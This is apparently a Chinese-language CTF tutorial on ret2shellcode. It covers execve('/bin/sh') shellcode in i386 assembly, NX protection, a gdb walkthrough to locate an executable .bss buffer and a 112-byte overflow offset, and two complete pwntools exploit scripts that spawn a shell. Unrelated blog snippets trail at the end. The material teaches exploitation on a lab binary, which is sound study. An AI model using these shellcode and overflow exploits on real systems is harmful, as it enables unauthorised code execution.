ret2text漏洞利用依賴於程式中存在執行system(「/bin/sh」)的函式,如果沒有這個函式,怎麼辦呢?
沒有執行shell的函式,沒有開啟nx保護
我們需要傳入自定義shellcode,這就利用方式就是ret2shellcode
shellcode是黑客編寫的用於實行特定功能的彙編**,通常是開啟乙個shell
例如:(linux系統下)
execve(「/bin/sh」,null,null);
彙編**展示
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
如
push 0x68
push 0x73f2f2f
push 0x6e69622f #前面三個引數是bin/sh的端儲存,為hs///nib
mov ebx,esp #esp為第乙個引數,也就是上面入站的引數,放入ebx中
xor ecx,ecx
xor edx,edx #這兩個指令是將ecx和edx置為零,異或,相同為0,不同為1
push 11
pop eax #系統呼叫號,將11放入eax
int 0x80
2pwntools自動生成
1先指定context.arch=「i386/amd64」
2.asm(自定義shellcode)
s=asm(「」」
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
」」」)
3.asm(shellcraft.sh())自動生成shellcode
s1=asm(shellcraft.sh(
))p.sendline(s1)
深入理解nx保護
nx(又稱dep)資料執行保護。可寫的不可執行,可執行的不可寫
例子1先用checksec命令檢查保護機制,發現無保護
2然後使用objdump –d ret2shellcode |grep system
檢視是否有系統函式,發現沒有
然後上pwngdb除錯,用disass main反彙編檢視main函式
這裡上面那個方框中的是puts函式的引數,
可以用x/s 0x8048660或者p 0x8048660命令檢視引數為
繼續分析
我們可以看到關鍵函式gets函式,第乙個引數是目的位址,第二個引數是複製內容,第三個引數為複製的大小
我們可以看一下拷貝的目的位址
還未操作,所以為空
然後我們就可以整理一下思路,程式的功能,先輸出乙個內容,然後用gets寫入內容,最後printf輸出內容
3利用原理:
我們利用strncpy的功能將輸入的shellcode傳輸到複製的位址中(也就是0x804a080中)
然後我們將返回的位址覆蓋為0x804a080那我們就能得到shell了
這裡我們還需要知道0x804a080所在段是否有執行許可權,他必須有執行許可權,輸入的shellcode才能執行,
怎麼判斷所在段是否有執行許可權呢?如下
用gdb外掛程式peda中:readelf 或者
shell:readelf -s +檔名(注意大小寫,一定是大s)
發現所在位址的段是.bss
4. 檢視這個段有沒有執行許可權
gdb中在main下個斷點,然後讓程式跑起來,再使用vmmap命令檢視段的許可權
在這個段中有執行許可權,所以這一步就完成了
5. 檢視溢位點
在pwndbg中用cyclic 200 生成200個字元,然後執行程式r
將200個字元輸入其中,停下來後發現有錯誤位址,也就是溢位點
6. 計算偏移
用cyclic –l 0x62616164計算出偏移offset為112
寫exp,
自動生成的shellcode
from pwn import *
context(arch=
"i386",os=
"linux"
)#必須要有的
p = process(
"./ret2shellcode2"
)shellcode = asm(shellcraft.sh(
))payload = shellcode.ljust(112,"a"
) + p32(0x804a080
p.sendline(payload)
p.interactive(
)
手動生成的shellcode
from pwn import *
context(arch=
"i386",os=
"linux",log_level=
"debug"
)p = process(
"./ret2shellcode2"
)shellcode=asm("""
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80"""
)payload = shellcode.ljust(112,"a"
) + p32(0x804a080)
p.sendline(payload)
p.interactive(
)
與ret2shellcode的初相識
發現freebuf的網名好像不可以修改,後悔當時隨便起的這個名字了!害 ret2shellcode,也就是return to shellcode,在執行完某個函式之後,跳到shellcode上,達到get shell的目的。ret2shellcode關鍵在於我們找到乙個可讀可寫可執行的緩衝區,接下來...
n2n的編譯和執行 配置
交叉編譯 cmake dcmake toolchain file cmake cmaketoolchainfilemingw32.cmake build 1.n2n 基於p2p的內網穿透方案。2.ubuntu linux下編譯 git clone apt get install cmake libs...
N皇后問題和2N皇后問題(深搜)
在n n的方格棋盤放置了n個皇后,使得它們不相互攻擊 即任意2個皇后不允許處在同一排,同一列,也不允許處在與棋盤邊框成45角的斜線上。你的任務是,對於給定的n,求出有多少種合法的放置方法。input 共有若干行,每行乙個正整數n 10,表示棋盤和皇后的數量 如果n 0,表示結束。output 共有若...